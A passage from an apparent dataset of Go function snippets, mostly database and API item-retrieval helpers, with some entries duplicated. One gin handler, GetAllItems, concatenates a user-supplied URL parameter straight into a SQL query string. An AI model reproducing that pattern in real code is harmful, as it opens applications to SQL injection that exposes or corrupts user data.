rows.Close()\n\n\tvar result []ReadItem\n\tfor rows.Next() {\n\t\titem := ReadItem{}\n\t\terr2 := rows.Scan(&item.ID, &item.Region, &item.Kategorie, &item.Angebot, &item.Laden)\n\t\tif err2 != nil {\n\t\t\tpanic(err2)\n\t\t}\n\t\tresult = append(result, item)\n\t}\n\treturn result\n}", "func GetAllItems(c *gin.Context) {\n\tdb := PostSQLConfig()\n\ts := c.Request.URL.Query().Get(\"user\")\n\trows, err := db.Query(\"select * from menu where userinfo = '\" + s + \"';\")\n\tif err != nil {\n\t\tfmt.Println(\"ERROR IS1\", err)\n\t\tcreateUserTable()\n\t}\n\tdefer rows.Close()\n\trepos := model_menu.MenuItems{}\n\tvar childUnit []uint8\n\tfor rows.Next() {\n\t\tp := model_menu.Menu{}\n\t\terr = rows.Scan(&p.ID, &p.Name, &p.Url, &p.Sysname, &p.UserInfo, &childUnit)\n\t\tif err != nil {\n\t\t\tfmt.Println(err)\n\t\t}\n\t\ts := string(childUnit)\n\n\t\terr := json.Unmarshal([]byte(s), &p.Child)\n\t\tif err != nil {\n\t\t\tfmt.Println(\"error:\", err)\n\t\t}\n\n\t\trepos = append(repos, p)\n\t}\n\terr = rows.Err()\n\tif err != nil {\n\t\tfmt.Println(err)\n\t}\n\tc.JSON(200, gin.H{\n\t\t\"menu\": &repos,\n\t})\n\tdefer db.Close()\n}", "func (v *Vault) LookupItems(pred ItemPredicate) ([]Item, error) {\n\tvar items []Item\n\n\terr := transact(v.db, func(tx *sql.Tx) (e error) {\n\t\trows, e := tx.Query(\n\t\t\t\"SELECT id, category_uuid, key_data, overview_data\" +\n\t\t\t\" FROM items\" +\n\t\t\t\" WHERE profile_id = ? AND trashed = 0\",\n\t\t\tv.profileId)\n\t\tif e != nil {\n\t\t\treturn\n\t\t}\n\t\tdefer rows.Close()\n\n\t\t// Figure out matches\n\t\tfor rows.Next() {\n\t\t\tvar itemId int\n\t\t\tvar catUuid string\n\t\t\tvar itemKeyBlob, opdata []byte\n\t\t\te = rows.Scan(&itemId, &catUuid, &itemKeyBlob, &opdata)\n\t\t\tif e != nil {\n\t\t\t\treturn\n\t\t\t}\n\n\t\t\t// Decrypt the overview\n\t\t\tvar overview []byte\n\t\t\toverview, e = crypto.DecryptOPData01(opdata, v.overviewKP)\n\t\t\tif e != nil {\n\t\t\t\treturn\n\t\t\t}\n\t\t\tvar item Item\n\t\t\te = json.Unmarshal(overview, &item)\n\t\t\tif e != nil {\n\t\t\t\treturn\n\t\t\t}\n\t\t\titem.Category = Category{catUuid, v.categories[catUuid]}\n\n\t\t\t// Decrypt the item key\n\t\t\tvar kp *crypto.KeyPair\n\t\t\tkp, e = crypto.DecryptItemKey(itemKeyBlob, v.masterKP)\n\t\t\tif e != nil {\n\t\t\t\treturn\n\t\t\t}\n\n\t\t\t// Decrypt the item details\n\t\t\tdetRow := tx.QueryRow(\n\t\t\t\t\"SELECT data FROM item_details\" +\n\t\t\t\t\" WHERE item_id = ?\", itemId)\n\t\t\tvar detailsCT []byte\n\t\t\te = detRow.Scan(&detailsCT)\n\t\t\tif e != nil {\n\t\t\t\treturn\n\t\t\t}\n\t\t\tvar details []byte\n\t\t\tdetails, e = crypto.DecryptOPData01(detailsCT, kp)\n\t\t\tif e != nil {\n\t\t\t\treturn\n\t\t\t}\n\t\t\titem.Details = details\n\n\t\t\tif pred(&item) {\n\t\t\t\titems = append(items, item)\n\t\t\t}\n\t\t}\n\n\t\treturn rows.Err()\n\t})\n\n\tif err != nil {\n\t\titems = nil\n\t}\n\n\treturn items, err\n}", "func GetItems(huntID int) ([]*models.Item, *response.Error) {\n\titemDBs, e := db.GetItemsWithHuntID(huntID)\n\tif itemDBs == nil {\n\t\treturn nil, e\n\t}\n\n\titems := make([]*models.Item, 0, len(itemDBs))\n\tfor _, itemDB := range itemDBs {\n\t\titem := models.Item{ItemDB: *itemDB}\n\t\titems = append(items, &item)\n\t}\n\n\treturn items, e\n}", "func (m *MGOStore) GetItems() interface{} {\n\treturn m.items\n}", "func (c Repository) GetAll() *redis.StringSliceCmd {\n\treturn c.Client.LRange(\"alist\", 0, -1)\n}", "func (ris *rssItems) getItems() []RssItem {\n\tris.RLock()\n\tdefer ris.RUnlock()\n\treturn ris.items\n}", "func (b *OGame) GetItems(celestialID ogame.CelestialID) ([]ogame.Item, error) {\n\treturn b.WithPriority(taskRunner.Normal).GetItems(celestialID)\n}", "func readItems(r io.Reader) (is []item, err error) {\n\tdec := gob.NewDecoder(r)\n\terr = dec.Decode(&is)\n\treturn\n}", "func readItems(r io.Reader) (is []item, err error) {\n\tdec := gob.NewDecoder(r)\n\terr = dec.Decode(&is)\n\treturn\n}", "func (j *DSGitHub) FetchItems(ctx *Ctx) (err error) {\n\tswitch j.Category {\n\tcase \"repository\":\n\t\treturn j.FetchItemsRepository(ctx)\n\tcase \"issue\":\n\t\treturn j.FetchItemsIssue(ctx)\n\tcase \"pull_request\":\n\t\treturn j.FetchItemsPullRequest(ctx)\n\tdefault:\n\t\terr = fmt.Errorf(\"FetchItems: unknown category %s\", j.Category)\n\t}\n\treturn\n}", "func (l *DocumentationVersionList) GetItems() []resource.Managed {\n\titems := make([]resource.Managed, len(l.Items))\n\tfor i := range l.Items {\n\t\titems[i] = &l.Items[i]\n\t}\n\treturn items\n}", "func GetItemsByOwner(params items.GetItemsByOwnerParams) model.Items {\n\tdb := dbpkg.Connect()\n\tdefer db.Close()\n\n\tvar items model.Items\n\n\tdb.Select(\"*\").Table(\"items\").Where(\"user_id=?\", params.ID).Scan(&items)\n\tfor _, item := range items {\n\t\titem.Descriptions = getItemsDescriptionByID(item.ID)\n\t}\n\n\treturn items\n\n}", "func (l *BasePathMappingList) GetItems() []resource.Managed {\n\titems := make([]resource.Managed, len(l.Items))\n\tfor i := range l.Items {\n\t\titems[i] = &l.Items[i]\n\t}\n\treturn items\n}", "func (c *Cache) GetItems() map[string]*Item {\n\treturn c.items\n}", "func GetAllItems(w http.ResponseWriter, r *http.Request) {\r\n\r\n\t// get the bearer token\r\n\tbearerHeader := r.Header.Get(\"Authorization\")\r\n\r\n\t// validate token, it will return a User{UserID, Name}\r\n\t_, err := ValidateToken(bearerHeader)\r\n\r\n\tcheckErr(err)\r\n\r\n\t// create the db connection\r\n\tdb := getDBConn()\r\n\r\n\t// close the db connection\r\n\tdefer db.Close()\r\n\r\n\t// query\r\n\trows, err := db.Query(\"SELECT * FROM items\")\r\n\r\n\tcheckErr(err)\r\n\r\n\t// create an array of item type to store all the items\r\n\tvar items []item\r\n\r\n\t// iterate over rows to format item in item type\r\n\tfor rows.Next() {\r\n\t\tvar params item\r\n\r\n\t\terr = rows.Scan(&params.ItemID, &params.MerchantID, &params.Name)\r\n\r\n\t\titems = append(items, params)\r\n\t}\r\n\r\n\t// return the order array in json format\r\n\tjson.NewEncoder(w).Encode(items)\r\n}", "func (p *PaginationModel) ReadItems(v interface{}) error {\n\treturn json.Unmarshal(p.RawItems, v)\n}", "func (r *PurchasesRepository) GetSlice(from int, count int, userID int) ([]*PurchaseWithGoods, error) {\n\tvar purchases []*PurchaseWithGoods\n\n\terr := pgxscan.Select(context.Background(), r.db, &purchases, `SELECT * from budget.get_purchases($1, $2, $3)`, from, count, userID)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn purchases, err\n}", "func getArticles(p int) {\n\tdb, err := bolt.Open(\"../.db\", 0600, nil)\n\tif err != nil {\n\t\tlog.Fatal(err)\n\t}\n\tdefer db.Close()\n\n\t//display 10 articles per page\n\tIdIndex := (p-1)*10 + 1\n\tvar articles ArticlesResponse\n\tvar article Article\n\terr = db.View(func(tx *bolt.Tx) error {\n\t\tb := tx.Bucket([]byte(\"Article\"))\n\t\tif b != nil {\n\t\t\tc := b.Cursor()\n\t\t\tk, v := c.Seek(itob(IdIndex))\n\t\t\tif k == nil {\n\t\t\t\tfmt.Println(\"Page is out of index\")\n\t\t\t\treturn errors.New(\"Page is out of index\")\n\t\t\t}\n\t\t\tkey := binary.BigEndian.Uint64(k)\n\t\t\tfmt.Print(key)\n\t\t\tif int(key) != IdIndex {\n\t\t\t\tfmt.Println(\"Page is out of index\")\n\t\t\t\treturn errors.New(\"Page is out of index\")\n\t\t\t}\n\t\t\tcount := 0\n\t\t\tvar ori_artc Article\n\t\t\tfor ; k != nil && count < 10; k, v = c.Next() {\n\t\t\t\terr = json.Unmarshal(v, &ori_artc)\n\t\t\t\tif err != nil {\n\t\t\t\t\treturn err\n\t\t\t\t}\n\t\t\t\tarticle.Id = ori_artc.Id\n\t\t\t\tarticle.Name = ori_artc.Name\n\t\t\t\tarticles.Articles = append(articles.Articles, article)\n\t\t\t\tcount = count + 1\n\t\t\t}\n\t\t\treturn nil\n\t\t} else {\n\t\t\treturn errors.New(\"Article Not Exists\")\n\t\t}\n\t})\n\tfor i := 0; i < len(articles.Articles); i++ {\n\t\tfmt.Println(articles.Articles[i])\n\t}\n}", "func (s *InventoryApiService) ListItems(w http.ResponseWriter) error {\n\tctx := context.Background()\n\tl, err := s.db.ListItems(ctx)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\treturn EncodeJSONResponse(l, nil, w)\n}", "func GetItemNames(c *gin.Context) {\n\ttype ItemName struct {\n\t\tName string\n\t\tID uint\n\t}\n\n\tvar items []ItemName\n\tif err := models.DB.Model(&models.Item{}).Order(\"name\").Find(&items).Error; err != nil {\n\t\tc.JSON(http.StatusBadRequest, gin.H{\"error\": \"Couldn't retrieve items\"})\n\t\treturn\n\t}\n\tc.JSON(http.StatusOK, gin.H{\"items\": items})\n}", "func GetAllLimited(ctx context.Context, lim int) ([]ServicePack, error) {\n\tvar spx []ServicePack\n\tq := datastore.NewQuery(\"ServicePack\")\n\tq = q.Order(\"-LastModified\").\n\t\tProject(\"TagIDs\").\n\t\tLimit(lim)\n\t_, err := q.GetAll(ctx, &spx)\n\treturn spx, err\n}", "func getNewsItems() []string {\n\turl := baseURL + \"/newstories.json\"\n\tbody := fmtRes(url)\n\tstoryIds := strings.TrimSuffix(strings.TrimPrefix(strings.TrimSpace(string(body)), \"[\"), \"]\")\n\tidSlice := strings.Split(storyIds, \",\")\n\treturn idSlice\n}", "func (l *RestAPIList) GetItems() []resource.Managed {\n\titems := make([]resource.Managed, len(l.Items))\n\tfor i := range l.Items {\n\t\titems[i] = &l.Items[i]\n\t}\n\treturn items\n}", "func GetSelfItems() ([]Item, error) {\n\treq, _ := http.NewRequest(\"GET\", \"https://qiita.com/api/v2/authenticated_user/items\", nil)\n\tresbyte, err := DoRequest(req)\n\tif err != nil {\n\t\treturn nil, errors.Wrap(err, \"failed to DoRequest\")\n\t}\n\n\tvar items []Item\n\tif err := json.Unmarshal(resbyte, &items); err != nil {\n\t\treturn nil, errors.Wrap(err, \"failed to unmarshal\")\n\t}\n\treturn items, nil\n}", "func (c Client) GetAssetItems(query url.Values) ([]Model, error) {\n\tvar res struct {\n\t\tRecords []Model\n\t}\n\terr := c.GetRecordsFor(TableModel, query, &res)\n\treturn res.Records, err\n}", "func (q itemQuery) All(ctx context.Context, exec boil.ContextExecutor) (ItemSlice, error) {\n\tvar o []*Item\n\n\terr := q.Bind(ctx, exec, &o)\n\tif err != nil {\n\t\treturn nil, errors.Wrap(err, \"models: failed to assign all query results to Item slice\")\n\t}\n\n\treturn o, nil\n}", "func (s *SliceOfInt64) GetSlice() *[]int64 {\n\treturn &s.items\n}", "func repoList(w http.ResponseWriter, r *http.Request) {}", "func (m *statusTableDataModel) Items() interface{} {\n\treturn m.items\n}", "func (a *Client) PublicBulkGetItems(params *PublicBulkGetItemsParams, authInfo runtime.ClientAuthInfoWriter) (*PublicBulkGetItemsOK, *PublicBulkGetItemsNotFound, error) {\n\t// TODO: Validate the params before sending\n\tif params == nil {\n\t\tparams = NewPublicBulkGetItemsParams()\n\t}\n\n\tif params.Context == nil {\n\t\tparams.Context = context.Background()\n\t}\n\n\tif params.RetryPolicy != nil {\n\t\tparams.SetHTTPClientTransport(params.RetryPolicy)\n\t}\n\n\tresult, err := a.transport.Submit(&runtime.ClientOperation{\n\t\tID: \"publicBulkGetItems\",\n\t\tMethod: \"GET\",\n\t\tPathPattern: \"/platform/public/namespaces/{namespace}/items/locale/byIds\",\n\t\tProducesMediaTypes: []string{\"application/json\"},\n\t\tConsumesMediaTypes: []string{\"application/json\"},\n\t\tSchemes: []string{\"https\"},\n\t\tParams: params,\n\t\tReader: &PublicBulkGetItemsReader{formats: a.formats},\n\t\tAuthInfo: authInfo,\n\t\tContext: params.Context,\n\t\tClient: params.HTTPClient,\n\t})\n\tif err != nil {\n\t\treturn nil, nil, err\n\t}\n\n\tswitch v := result.(type) {\n\n\tcase *PublicBulkGetItemsOK:\n\t\treturn v, nil, nil\n\n\tcase *PublicBulkGetItemsNotFound:\n\t\treturn nil, v, nil\n\n\tdefault:\n\t\treturn nil, nil, fmt.Errorf(\"Unexpected Type %v\", reflect.TypeOf(v))\n\t}\n}", "func GetItems() (items []Item, err error) {\n\tdir, err := os.Open(rootPath)\n\tif err != nil {\n\t\treturn\n\t}\n\n\tfi, err := dir.Stat()\n\tif !fi.Mode().IsDir() {\n\t\tpanic(\"need directory\")\n\t}\n\n\tnames, err := dir.Readdirnames(0)\n\tif err != nil {\n\t\treturn\n\t}\n\n\tfor _, name := range names {\n\t\titem, err := NewItem(name)\n\t\tif err != nil {\n\t\t\tcontinue\n\t\t}\n\n\t\titems = append(items, item)\n\t}\n\n\tsort.Sort(sort.Reverse(byCreatedAt(items)))\n\n\treturn items, nil\n}", "func (s3ops *S3Operations) GetBucketItems(bucket string, prefix string, index int) (items []string, probs bool) {\n\n\tsess, _ := session.NewSession()\n\tvar config = &aws.Config{}\n\tif os.Getenv(\"AWS_WEB_IDENTITY_TOKEN_FILE\") != \"\" {\n\t\teksCreds := awscredentials.Credentials{}\n\t\tcreds := *eksCreds.GetWebIdentityCredentials()\n\t\tconfig = &aws.Config{\n\t\t\tRegion: aws.String(\"eu-west-1\"),\n\t\t\tCredentials: credentials.NewStaticCredentials(*creds.AccessKeyId, *creds.SecretAccessKey, *creds.SessionToken),\n\t\t}\n\t} else {\n\t\tconfig = &aws.Config{\n\t\t\tRegion: aws.String(\"eu-west-1\"),\n\t\t}\n\t}\n\n\t// Create a client from just a config.r\n\tclient := s3.New(sess, config)\n\n\tlog.WithFields(log.Fields{\n\t\t\"Bucket\": bucket,\n\t\t\"Prefix\": prefix,\n\t}).Info(\"------ FETCHING BUCKET DETAILS ----\")\n\tparams := &s3.ListObjectsV2Input{Bucket: aws.String(bucket), Prefix: aws.String(prefix)}\n\ttenants := make(map[string]struct{})\n\t// Example iterating over at most 3 pages of a ListObjectsV2 operation.\n\terr := client.ListObjectsV2Pages(params,\n\t\tfunc(page *s3.ListObjectsV2Output, lastPage bool) bool {\n\t\t\tfor _, content := range page.Contents {\n\t\t\t\tparts := strings.Split(*content.Key, \"/\")\n\t\t\t\t// you can use the ,ok idiom to check for existing keys\n\t\t\t\tif _, ok := tenants[parts[index]]; !ok {\n\t\t\t\t\ttenants[parts[index]] = struct{}{}\n\t\t\t\t}\n\t\t\t}\n\t\t\treturn lastPage != true\n\t\t})\n\tif err != nil {\n\t\tlog.WithFields(log.Fields{\n\t\t\t\"err\": err.Error(),\n\t\t\t\"Bucket\": bucket,\n\t\t\t\"Prefix\": prefix,\n\t\t}).Error(\"Problems Getting Bucket Details\")\n\t\tprobs = true\n\t} else {\n\n\t\tkeys := make([]string, 0, len(tenants))\n\t\tfor k := range tenants {\n\t\t\tkeys = append(keys, k)\n\t\t}\n\t\titems = keys\n\t\tprobs = false\n\t}\n\treturn\n}", "func (items *items) get(number int) []interface{} {\n\treturnItems := make([]interface{}, 0, number)\n\tindex := 0\n\n\tfor i := 0; i < number; i++ {\n\t\tif i >= len(*items) {\n\t\t\tbreak\n\t\t}\n\n\t\treturnItems = append(returnItems, (*items)[i])\n\t\t(*items)[i] = nil\n\t\tindex++\n\t}\n\n\t*items = (*items)[index:]\n\treturn returnItems\n}", "func (o IopingSpecVolumeVolumeSourceProjectedSourcesDownwardAPIOutput) Items() IopingSpecVolumeVolumeSourceProjectedSourcesDownwardAPIItemsArrayOutput {\n\treturn o.ApplyT(func(v IopingSpecVolumeVolumeSourceProjectedSourcesDownwardAPI) []IopingSpecVolumeVolumeSourceProjectedSourcesDownwardAPIItems {\n\t\treturn v.Items\n\t}).(IopingSpecVolumeVolumeSourceProjectedSourcesDownwardAPIItemsArrayOutput)\n}", "func GetAllItems(w http.ResponseWriter, r *http.Request) {\r\n\titems, err := models.GetAllItems()\r\n\r\n\tif err != nil {\r\n\t\trespondWithError(w, http.StatusNotFound, \"Items could not be returned due to an error\")\r\n\t\treturn\r\n\t}\r\n\r\n\trespondWithJSON(w, http.StatusOK, items)\r\n}", "func (o FioSpecVolumeVolumeSourceProjectedSourcesDownwardAPIOutput) Items() FioSpecVolumeVolumeSourceProjectedSourcesDownwardAPIItemsArrayOutput {\n\treturn o.ApplyT(func(v FioSpecVolumeVolumeSourceProjectedSourcesDownwardAPI) []FioSpecVolumeVolumeSourceProjectedSourcesDownwardAPIItems {\n\t\treturn v.Items\n\t}).(FioSpecVolumeVolumeSourceProjectedSourcesDownwardAPIItemsArrayOutput)\n}", "func GetItemsHandler(db *sqlx.DB) gin.HandlerFunc {\n\treturn func (ctx *gin.Context) {\n\t\tcreatedBy, createdByExists := GetUserID(ctx)\n\t\tif !createdByExists {\n\t\t\tctx.String(http.StatusUnauthorized, \"User id not found in authorization token.\")\n\t\t\treturn\n\t\t}\n\n\t\tvar searchQuery ItemsGetQuery\n\t\tif err := ctx.ShouldBindQuery(&searchQuery); err != nil {\n\t\t\tctx.String(http.StatusBadRequest, err.Error())\n\t\t\treturn\n\t\t}\n\n\t\tquery := sq.Select(\"items.public_id, name, price, unit, created_at, updated_at\").From(\"items\")\n\n\t\tif createdBy != \"\" {\n\t\t\tquery = query.Join(\"users ON users.id = items.created_by\").Where(sq.Eq{\"users.public_id\": createdBy})\n\t\t}\n\n\t\tif searchQuery.Name != \"\" {\n\t\t\tquery = query.Where(\"items.name LIKE ?\", fmt.Sprint(\"%\", searchQuery.Name, \"%\"))\n\t\t}\n\n\t\tqueryString, queryStringArgs, err := query.ToSql()\n\t\tif err != nil {\n\t\t\tctx.String(http.StatusInternalServerError, err.Error())\n\t\t\treturn\n\t\t}\n\n\t\titems := []Item{}\n\t\tif err := db.Select(&items, queryString, queryStringArgs...); err != nil {\n\t\t\tlog.Fatalln(err.Error())\n\t\t}\n\n\t\tctx.JSON(http.StatusOK, items)\n\t}\n}", "func GetItem(filter interface{}) (GetItemResult, error) {\n\t// create connection to database\n\tctx, cancel := context.WithTimeout(context.Background(), 20*time.Second)\n\tdefer cancel()\n\tc := newConnection(ctx)\n\tdefer c.clt.Disconnect(ctx)\n\n\tvar res bson.M\n\terr := c.collection(itemCollection).FindOne(context.Background(), filter).Decode(&res)\n\tif err == mongo.ErrNoDocuments {\n\t\treturn GetItemResult{\n\t\t\tGotItemCount: 0,\n\t\t\tData: nil,\n\t\t}, nil\n\t} else if err != nil {\n\t\treturn GetItemResult{}, err\n\t}\n\n\treturn GetItemResult{\n\t\tGotItemCount: 1,\n\t\tData: []bson.M{res},\n\t}, nil\n}", "func (r *BigStorageRepository) GetSelection(page int, itemsPerPage int) ([]BigStorage, error) {\n\tvar response bigStoragesWrapper\n\tparams := url.Values{\n\t\t\"pageSize\": []string{fmt.Sprintf(\"%d\", itemsPerPage)},\n\t\t\"page\": []string{fmt.Sprintf(\"%d\", page)},\n\t}\n\n\trestRequest := rest.Request{Endpoint: \"/big-storages\", Parameters: params}\n\terr := r.Client.Get(restRequest, &response)\n\n\treturn response.BigStorages, err\n}", "func (s *sqlService) Items() (items []definitions.ItemDefinition) {\n\ts.Lock()\n\tdefer s.Unlock()\n\ts.context = context.Background()\n\tdb := s.connect(s.context)\n\t// defer db.Close()\n\trows, err := db.QueryContext(s.context, \"SELECT id, name, description, command, base_price, stackable, special, members FROM items ORDER BY id\")\n\tif err != nil {\n\t\tlog.Warn(\"Couldn't load entity definitions from sqlService:\", err)\n\t\treturn\n\t}\n\tdefer rows.Close()\n\n\tfor rows.Next() {\n\t\tnextDef := definitions.ItemDefinition{}\n\t\trows.Scan(&nextDef.ID, &nextDef.Name, &nextDef.Description, &nextDef.Command, &nextDef.BasePrice, &nextDef.Stackable, &nextDef.Quest, &nextDef.Members)\n\t\titems = append(items, nextDef)\n\t}\n\trows.Close()\n\n\trows, err = db.QueryContext(s.context, \"SELECT id, skillIndex, level FROM item_wieldable_requirements\")\n\tif err != nil {\n\t\tlog.Error.Println(\"Couldn't load entity information from sql database:\", err)\n\t\treturn\n\t}\n\tvar id, skill, level int\n\tfor rows.Next() {\n\t\trows.Scan(&id, &skill, &level)\n\t\tif items[id].Requirements == nil {\n\t\t\titems[id].Requirements = make(map[int]int)\n\t\t}\n\t\titems[id].Requirements[skill] = level\n\t}\n\trows.Close()\n\n\trows, err = db.QueryContext(s.context, \"SELECT id, sprite, type, armour_points, magic_points, prayer_points, range_points, weapon_aim_points, weapon_power_points, pos, femaleOnly FROM item_wieldable\")\n\tif err != nil {\n\t\tlog.Error.Println(\"Couldn't load entity information from sql database:\", err)\n\t\treturn\n\t}\n\t// TODO: Integrate into ItemDefinition\n\tfor rows.Next() {\n\t\tnextDef := definitions.EquipmentDefinition{}\n\t\trows.Scan(&nextDef.ID, &nextDef.Sprite, &nextDef.Type, &nextDef.Armour, &nextDef.Magic, &nextDef.Prayer, &nextDef.Ranged, &nextDef.Aim, &nextDef.Power, &nextDef.Position, &nextDef.Female)\n\t\tdefinitions.Equipment = append(definitions.Equipment, nextDef)\n\t}\n\n\treturn\n}", "func getItemList(r *http.Request, pb transactionPb.TransactionService) (proto.Message, error) {\n\tpbRequest := &transactionPb.ItemListReq{}\n\tpbResponse, err := pb.GetItemList(context.Background(), pbRequest)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn pbResponse, nil\n}", "func (s *ImagesByRepositoryRegistryStorage) Get(id string) (interface{}, error) {\n\tresult := imageapi.ImageList{}\n\timageIDs, err := s.registry.ListImagesFromRepository(id, labels.Everything())\n\tif err != nil {\n\t\treturn result, err\n\t}\n\tfor _, imageID := range imageIDs {\n\t\tif image, err := s.imageRegistry.GetImage(imageID); err == nil {\n\t\t\tresult.Items = append(result.Items, *image)\n\t\t}\n\t}\n\treturn result, nil\n}", "func (l *ResourceList) GetItems() []resource.Managed {\n\titems := make([]resource.Managed, len(l.Items))\n\tfor i := range l.Items {\n\t\titems[i] = &l.Items[i]\n\t}\n\treturn items\n}", "func Items(lang codes.Language) (res []codes.Item) {\n\tfor _, code := range sortedCodes {\n\t\tif lang == codes.Norwegian {\n\t\t\tres = append(res, codes.Item{Code: code, Label: all[code].labelNo, Notes: all[code].notesNo})\n\t\t} else {\n\t\t\tres = append(res, codes.Item{Code: code, Label: all[code].labelEn, Notes: all[code].notesEn})\n\t\t}\n\t}\n\treturn res\n}", "func Items(lang codes.Language) (res []codes.Item) {\n\tfor _, code := range sortedCodes {\n\t\tif lang == codes.Norwegian {\n\t\t\tres = append(res, codes.Item{Code: code, Label: all[code].labelNo, Notes: all[code].notesNo})\n\t\t} else {\n\t\t\tres = append(res, codes.Item{Code: code, Label: all[code].labelEn, Notes: all[code].notesEn})\n\t\t}\n\t}\n\treturn res\n}", "func Items(lang codes.Language) (res []codes.Item) {\n\tfor _, code := range sortedCodes {\n\t\tif lang == codes.Norwegian {\n\t\t\tres = append(res, codes.Item{Code: code, Label: all[code].labelNo, Notes: all[code].notesNo})\n\t\t} else {\n\t\t\tres = append(res, codes.Item{Code: code, Label: all[code].labelEn, Notes: all[code].notesEn})\n\t\t}\n\t}\n\treturn res\n}", "func Items(lang codes.Language) (res []codes.Item) {\n\tfor _, code := range sortedCodes {\n\t\tif lang == codes.Norwegian {\n\t\t\tres = append(res, codes.Item{Code: code, Label: all[code].labelNo, Notes: all[code].notesNo})\n\t\t} else {\n\t\t\tres = append(res, codes.Item{Code: code, Label: all[code].labelEn, Notes: all[code].notesEn})\n\t\t}\n\t}\n\treturn res\n}", "func Items(lang codes.Language) (res []codes.Item) {\n\tfor _, code := range sortedCodes {\n\t\tif lang == codes.Norwegian {\n\t\t\tres = append(res, codes.Item{Code: code, Label: all[code].labelNo, Notes: all[code].notesNo})\n\t\t} else {\n\t\t\tres = append(res, codes.Item{Code: code, Label: all[code].labelEn, Notes: all[code].notesEn})\n\t\t}\n\t}\n\treturn res\n}", "func (n *items) get(i uint32) (*list, error) {\n\tif i > n.len {\n\t\treturn nil, ErrIndexRange\n\t}\n\treturn n.data[i], nil\n}", "func (l *LDAPIdentityProviderList) Slice() []*LDAPIdentityProvider {\n\tvar slice []*LDAPIdentityProvider\n\tif l == nil {\n\t\tslice = make([]*LDAPIdentityProvider, 0)\n\t} else {\n\t\tslice = make([]*LDAPIdentityProvider, len(l.items))\n\t\tcopy(slice, l.items)\n\t}\n\treturn slice\n}", "func (sc *shardedCache) Items() []map[string]cache.Item {\n\tres := make([]map[string]cache.Item, len(sc.cs))\n\tfor i, v := range sc.cs {\n\t\tres[i] = v.Items()\n\t}\n\treturn res\n}", "func catalog_Get(t *testing.T, opts ...configOpt) {\n\tenv := newTestEnv(t, opts...)\n\tdefer env.Shutdown()\n\n\tsortedRepos := []string{\n\t\t\"2j2ar\",\n\t\t\"asj9e/ieakg\",\n\t\t\"dcsl6/xbd1z/9t56s\",\n\t\t\"hpgkt/bmawb\",\n\t\t\"jyi7b\",\n\t\t\"jyi7b/sgv2q/d5a2f\",\n\t\t\"jyi7b/sgv2q/fxt1v\",\n\t\t\"kb0j5/pic0i\",\n\t\t\"n343n\",\n\t\t\"sb71y\",\n\t}\n\n\t// shuffle repositories to make sure results are consistent regardless of creation order (it matters when running\n\t// against the metadata database)\n\tshuffledRepos := shuffledCopy(sortedRepos)\n\n\tfor _, repo := range shuffledRepos {\n\t\tcreateRepository(t, env, repo, \"latest\")\n\t}\n\n\ttt := []struct {\n\t\tname string\n\t\tqueryParams url.Values\n\t\texpectedBody catalogAPIResponse\n\t\texpectedLinkHeader string\n\t}{\n\t\t{\n\t\t\tname: \"no query parameters\",\n\t\t\texpectedBody: catalogAPIResponse{Repositories: sortedRepos},\n\t\t},\n\t\t{\n\t\t\tname: \"empty last query parameter\",\n\t\t\tqueryParams: url.Values{\"last\": []string{\"\"}},\n\t\t\texpectedBody: catalogAPIResponse{Repositories: sortedRepos},\n\t\t},\n\t\t{\n\t\t\tname: \"empty n query parameter\",\n\t\t\tqueryParams: url.Values{\"n\": []string{\"\"}},\n\t\t\texpectedBody: catalogAPIResponse{Repositories: sortedRepos},\n\t\t},\n\t\t{\n\t\t\tname: \"empty last and n query parameters\",\n\t\t\tqueryParams: url.Values{\"last\": []string{\"\"}, \"n\": []string{\"\"}},\n\t\t\texpectedBody: catalogAPIResponse{Repositories: sortedRepos},\n\t\t},\n\t\t{\n\t\t\tname: \"non integer n query parameter\",\n\t\t\tqueryParams: url.Values{\"n\": []string{\"foo\"}},\n\t\t\texpectedBody: catalogAPIResponse{Repositories: sortedRepos},\n\t\t},\n\t\t{\n\t\t\tname: \"1st page\",\n\t\t\tqueryParams: url.Values{\"n\": []string{\"4\"}},\n\t\t\texpectedBody: catalogAPIResponse{Repositories: []string{\n\t\t\t\t\"2j2ar\",\n\t\t\t\t\"asj9e/ieakg\",\n\t\t\t\t\"dcsl6/xbd1z/9t56s\",\n\t\t\t\t\"hpgkt/bmawb\",\n\t\t\t}},\n\t\t\texpectedLinkHeader: `</v2/_catalog?last=hpgkt%2Fbmawb&n=4>; rel=\"next\"`,\n\t\t},\n\t\t{\n\t\t\tname: \"nth page\",\n\t\t\tqueryParams: url.Values{\"last\": []string{\"hpgkt/bmawb\"}, \"n\": []string{\"4\"}},\n\t\t\texpectedBody: catalogAPIResponse{Repositories: []string{\n\t\t\t\t\"jyi7b\",\n\t\t\t\t\"jyi7b/sgv2q/d5a2f\",\n\t\t\t\t\"jyi7b/sgv2q/fxt1v\",\n\t\t\t\t\"kb0j5/pic0i\",\n\t\t\t}},\n\t\t\texpectedLinkHeader: `</v2/_catalog?last=kb0j5%2Fpic0i&n=4>; rel=\"next\"`,\n\t\t},\n\t\t{\n\t\t\tname: \"last page\",\n\t\t\tqueryParams: url.Values{\"last\": []string{\"kb0j5/pic0i\"}, \"n\": []string{\"4\"}},\n\t\t\texpectedBody: catalogAPIResponse{Repositories: []string{\n\t\t\t\t\"n343n\",\n\t\t\t\t\"sb71y\",\n\t\t\t}},\n\t\t},\n\t\t{\n\t\t\tname: \"zero page size\",\n\t\t\tqueryParams: url.Values{\"n\": []string{\"0\"}},\n\t\t\texpectedBody: catalogAPIResponse{Repositories: sortedRepos},\n\t\t},\n\t\t{\n\t\t\tname: \"page size bigger than full list\",\n\t\t\tqueryParams: url.Values{\"n\": []string{\"100\"}},\n\t\t\texpectedBody: catalogAPIResponse{Repositories: sortedRepos},\n\t\t},\n\t\t{\n\t\t\tname: \"after marker\",\n\t\t\tqueryParams: url.Values{\"last\": []string{\"kb0j5/pic0i\"}},\n\t\t\texpectedBody: catalogAPIResponse{Repositories: []string{\n\t\t\t\t\"n343n\",\n\t\t\t\t\"sb71y\",\n\t\t\t}},\n\t\t},\n\t\t{\n\t\t\tname: \"after non existent marker\",\n\t\t\tqueryParams: url.Values{\"last\": []string{\"does-not-exist\"}},\n\t\t\texpectedBody: catalogAPIResponse{Repositories: 